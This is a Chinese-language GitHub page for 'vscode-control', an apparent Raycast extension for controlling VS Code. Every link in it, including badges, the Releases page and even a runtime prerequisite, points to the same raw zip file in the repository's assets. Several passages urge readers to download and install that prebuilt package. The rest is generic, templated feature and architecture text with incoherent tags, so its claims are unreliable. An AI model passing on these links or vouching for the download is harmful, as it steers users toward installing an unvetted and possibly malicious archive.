chengame/vscode-control

GitHub: chengame/vscode-control

一款 Raycast 扩展,让 macOS 用户通过快捷启动器快速操控 VS Code,实现文件导航、脚本执行和跨编辑器光标同步。

Stars: 0 | Forks: 0

https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip # vscode-control:一个用于控制 VS Code 和编辑器的 Raycast 扩展 ⚡ 一个轻量级的 Raycast 扩展,旨在帮助您与 VS Code 及其他受其自身 UI 启发的编辑器进行交互。它专注于快速操作、光标控制和跨编辑器的无缝导航,让您的编码流程更加顺畅。构建时充分考虑了速度,它在您的日常工作流中应该感觉非常自然。 [![Releases](https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip)](https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip) [![Language](https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip)](https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip) 目录 - 为什么选择 vscode-control - 主要功能 - 前置条件 - 安装 - 如何使用 - 命令和快捷键 - 编辑器兼容性 - 配置和设置 - 跨编辑器工作流 - 架构与内部机制 - 开发与贡献 - 测试与质量 - 安全性与保障 - 路线图 - FAQ - Releases 为什么选择 vscode-control 目标很简单:在 Raycast 和您的代码编辑器之间建立一座可靠的桥梁。您在 Raycast 中工作,想要影响 VS Code 或其他编辑器而无需切换应用程序。此扩展通过快速的命令、可预测的结果和简洁的用户体验使这成为可能。它的设计对初学者很友好,同时为高级用户提供了足够的深度。 主要功能 - 针对常见编辑器任务的 Raycast 快速操作 - 打开文件、跳转到符号,并在编辑器之间以最小的摩擦进行导航 - 必要时跨编辑器同步光标位置 - 与编辑器无关的命令 - 该扩展使用通用协议与 VS Code 及其他公开兼容 API 的编辑器进行交互 - 以最少的更改添加对新编辑器的支持 - 轻量且快速 - 优化后在典型操作下响应时间不到 100 毫秒 - 最小的内存占用,保持系统响应迅速 - 安全且可预测 - 操作默认设计为非破坏性 - 对潜在风险操作有清晰的提示 - 可扩展且对贡献者友好 - 清晰的代码结构和文档化的 API - 添加新命令和编辑器集成的简单指南 - 丰富的导航和搜索 - 在项目中快速搜索以定位文件、符号和定义 - 跳转到跨编辑器的最近编辑、书签和位置 前置条件 - 安装了 Raycast 和 Visual Studio Code 的 macOS 或 Windows 最新版本 - https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip 和用于开发及构建 Raycast 扩展的 npm 或 pnpm - 对 Raycast 扩展模型和 VS Code 键盘快捷键的基本熟悉 - 一个公开了用于远程控制的兼容 API 的编辑器 - 用于获取依赖项和更新的互联网访问 安装 - 如果尚未安装,请先安装 Raycast - 安装 VS Code 或您首选的代码编辑器 - 从市场或通过您首选的包管理器添加 vscode-control - 启动 Raycast 并启用 vscode-control 扩展 - 可选择配置扩展以指向您想要控制的编辑器 注意:有关最新的安装步骤,请参阅上面链接的 Releases 页面。如果您想尝试预构建包,Releases 页面是安装说明和二进制文件的主要来源。为了方便访问,该链接在 Releases 部分再次提供:https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip 如何使用 - 打开 Raycast 并搜索 vscode-control - 选择一个命令在您当前的工作流中执行 - 某些命令可能需要您选择目标编辑器或文件 - 扩展将在选定的编辑器中执行相应的操作 - 在可用时使用键盘快捷键以加快常见任务的速度 - 您可以自定义命令在 Raycast 中的显示方式以及结果的呈现方式 命令和快捷键 - 在编辑器中打开文件 - 按路径或相对于当前工作区快速打开文件 - 如果您在项目中,支持转换相对于根目录的路径 - 跳转到符号 - 按名称跨编辑器跳转到函数、类或变量 - 导航到行和列 - 直接转到活动文件中的特定位置 - 跨编辑器同步光标 - 在一个编辑器中移动光标并在目标编辑器中镜像它 - 运行代码操作 - 对当前选择执行代码操作或代码片段 - 聚焦编辑器 - 将编辑器窗口置于焦点以输入或检查代码 - 关闭编辑器 - 正常关闭编辑器而不丢失您的会话 - 打开最近的文件 - 快速重新打开您最近编辑的文件 - 列出编辑器 - 显示当前可用于远程控制的编辑器列表,并选择一个作为目标 编辑器兼容性 - VS Code - 完全支持本地和远程编辑场景 - 适用于标准 VS Code 安装和常见扩展 - 其他编辑器 - 计划中:支持具有兼容远程控制 API 的编辑器 - 该架构允许在不破坏现有命令的情况下添加新编辑器 - 限制 - 某些功能取决于编辑器功能或已安装的扩展 - 高度自定义的编辑器设置可能需要额外配置 配置和设置 - 核心设置 - 目标编辑器:指定要包含在远程控制中的编辑器 - 光标同步模式:启用或禁用跨编辑器光标同步 - 默认操作:设置从 Raycast 调用的默认命令 - 特定于编辑器的设置 - 编辑器命令的可选映射 - 用于触发编辑器中操作的自定义键绑定 - 性能旋钮 - 调整编辑器状态更改的轮询率 - 控制详细日志记录的级别 - 安全和隐私 - 管理访问文件和编辑器的权限 - 审查并批准从 Raycast 发起的每个操作 跨编辑器工作流 - 无缝代码审查 - 跳转到跨编辑器的更改、Token 和定义 - 在审查期间在编辑器之间移动时同步焦点和光标 - 多编辑会话 - 在多个编辑器中通过同步编辑处理同一文件 - 在统一视图中跟踪编辑和导航历史 - 快速导航 - 使用 Raycast 作为编辑器操作的通用启动器 - 快速过滤结果并通过几次击键执行操作 - 远程协作 - 与不同机器上的队友共享光标位置和快速操作 - 实时协调编辑,摩擦极小 架构与内部机制 - 核心思想 - 一个轻量级的适配器层,将 Raycast 操作转换为编辑器命令 - 一个用于编辑器交互的小型协议,可以扩展到新编辑器 - 命令层 - 每个命令都实现为一个具有清晰接口的独立模块 - 命令可以组合以形成更高级别的工作流 - 状态管理 - 一个最小的状态容器保存目标编辑器选择、当前焦点和会话数据 - 状态保存在内存中,并可选地持久化用于用户会话 - 通信 - Raycast 和编辑器之间的本地进程间通信 - 安全检查确保仅执行预期的操作 - 错误处理 - 带有可操作步骤的清晰错误消息 - 当编辑器不可用或命令失败时的回退路径 - 测试 - 每个命令模块的单元测试 - 模拟 Raycast 到编辑器交互的集成测试 开发与贡献 - 设置您的开发环境 - 安装 https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip 和包管理器 - 安装 TypeScript 和相关工具 - 创建存储库的本地副本 - 在本地运行构建和测试脚本 - 项目结构 - src/ 用于核心逻辑 - extensions/ 用于编辑器适配器 - commands/ 用于单个操作 - config/ 用于设置和 schema - tests/ 用于单元和集成测试 - 如何贡献 - Fork 存储库 - 为您的工作创建一个功能分支 - 实现、测试并记录您的更改 - 提交带有清晰描述的 Pull Request - 响应代码审查并根据需要进行迭代 - 编码风格 - 具有命名良好函数的清晰简洁代码 - 具有单一职责的小型、专注模块 - 测试伴随新行为或更改 - 文档 - 使用新功能的使用说明更新 README - 在复杂的逻辑中添加内联注释 - 提供示例和边缘情况处理说明 测试与质量 - 单元测试 - 每个命令模块都有专门的测试 - 测试涵盖常见和边缘情况 - 集成测试 - 模拟 Raycast 和编辑器之间的真实交互 - 验证工作流的端到端行为 - Linter 和格式化 - 在整个代码库中强制执行一致的风格 - 作为 CI 流水线的一部分运行检查 - 持续集成 - 在 push 和 pull request 时构建、测试和 lint - 自动化检查有助于尽早发现回归 安全性与保障 - 权限 - 扩展仅请求其所需的权限 - 敏感操作会出现审查提示 - 数据处理 - 将本地相关数据保留在用户机器上 - 未经明确同意,避免传输敏感数据 - 信任与验证 - 在尝试操作之前验证编辑器功能 - 当功能缺失时优雅地失败 路线图 - 短期目标 - 改进对其他编辑器的支持 - 添加更可靠的光标同步模式 - 增强错误报告和指导 - 中期目标 - 扩展跨编辑器协作功能 - 添加更丰富的工作流模板和预设 - 提高大型项目的性能 - 长期目标 - 围绕共享编辑器适配器构建强大的插件生态系统 - 在 Raycast 和编辑器之间实现更复杂的自动化 - 提供跨平台一致性和类似移动端的工作流 FAQ - 什么是 vscode-control? - 它是一个 Raycast 扩展,帮助您通过 Raycast 与 VS Code 和其他编辑器进行交互。 - 支持哪些编辑器? - 支持 VS Code。随着适配器的开发,可能会添加其他编辑器。 - 我该如何配置它? - 使用 Raycast 中的设置来根据您的工作流定制行为。 - 如果出现问题,我在哪里可以找到帮助? - 查看 Releases 页面以获取说明,并查看存储库 issues 以进行持续讨论。 Releases - Releases 页面包含所有官方构建、发布说明和安装详细信息。它是下载和了解新版本的主要场所。为了快速访问,请访问此处的同一页面:https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip 关于使用 Releases 页面的说明 - 上面的链接是分发和发布说明的主要来源。如果您想尝试预构建包,请从 Releases 页面下载,并按照随附说明中的安装说明进行操作。 - 如果您对开发构建感兴趣或想检查更改,Releases 页面还列出了以前的版本及其更改。这使得比较各个版本的功能和修复变得更加容易。 存储库结构 - assets - 扩展使用的图稿、图标和 UI 资产 - src - 为扩展提供支持的核心逻辑 - extensions - VS Code 和其他编辑器的适配器 - commands - Raycast 可以触发的单个操作 - config - JSON schema 和配置文件 - tests - 用于可靠性的自动化测试 - docs - 对开发者友好的文档和操作指南 使用示例 - 示例 1:快速打开并跳转到符号 - 用户打开 Raycast 并输入 “Open Symbol。” - 扩展向活动编辑器查询符号名称并打开相应的位置。 - 如果存在多个匹配项,则会显示一个快速选择列表以选择目标。 - 示例 2:跨编辑器光标同步 - 用户在 VS Code 中移动光标。 - Raycast 提示在另一个编辑器中镜像该光标位置。 - 用户确认,另一个编辑器相应更新。 - 示例 3:搜索和导航 - 用户从 Raycast 搜索文件名。 - 扩展显示所有连接编辑器中匹配文件的列表。 - 用户选择一个文件,编辑器在指定的起始行打开它。 高级用户提示 - 在 Raycast 中创建快捷方式以触发最常用的命令 - 将相关操作分组为常见任务的工作流 - 在跨编辑器审查代码时使用光标同步功能 - 保持您的编辑器处于最新状态以确保与扩展的兼容性 API 参考 - Commands API - 每个命令都有一个定义的接口:execute、validate 和 describe - 该 API 允许将命令组合成复杂的工作流 - 编辑器适配器 - 每个适配器都实现了一组标准方法:openFile、goToSymbol、setCursor、focus、close 等。 - 适配器可以公开特定于编辑器的扩展,同时保留通用协议 - 状态管理 - 一个最小的状态存储跟踪活动编辑器、选定文件和光标位置 - 状态更改通过预测的事件系统传播 错误处理和故障排除 - 常见错误 - Editor not found:确保编辑器已安装且可访问 - Permission denied:验证权限和提示 - Unsupported action:检查适配器功能 - 恢复步骤 - 重启 Raycast 和编辑器 - 重新同步编辑器以刷新连接 - 查看日志和错误消息以获取提示 - 日志记录 - 日志提供可操作的信息,而不暴露敏感数据 - 启用详细日志记录以调试复杂问题 贡献指南 - 如果您是新手,请从 “Good First Issue” 标签开始 - 使用清晰的提交消息提议更改 - 添加涵盖您更改的测试 - 在适用的地方更新文档 - 在审查中保持尊重和建设性 行为准则 - 尊重所有贡献者 - 通过适当的渠道报告安全问题 - 保持讨论集中在项目及其目标上 社区和支持 - 社区讨论在 issues 和 pull requests 上进行 - 如有问题,请使用带有清晰摘要的 issue tracker - 功能请求应包括理由和潜在影响 许可证 - 本项目根据存储库中包含的许可证条款分发 结束语 - 文档到此结束,没有正式的结论,但项目通过正在进行的工作和贡献继续发展。查看 Releases 页面以获取最新更新和持续改进:https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip
标签:API 交互, Command Palette, DNS解析, Flutter, macOS 效率工具, NPM 脚本, productivity, Raycast 扩展, VS Code, 代码编辑器, 光标控制, 威胁情报, 开发者工具, 开源, 开源项目, 快捷指令, 暗色界面, 桌面自动化, 编程辅助, 编辑器控制, 自定义脚本, 自定义脚本, 跨编辑器工作流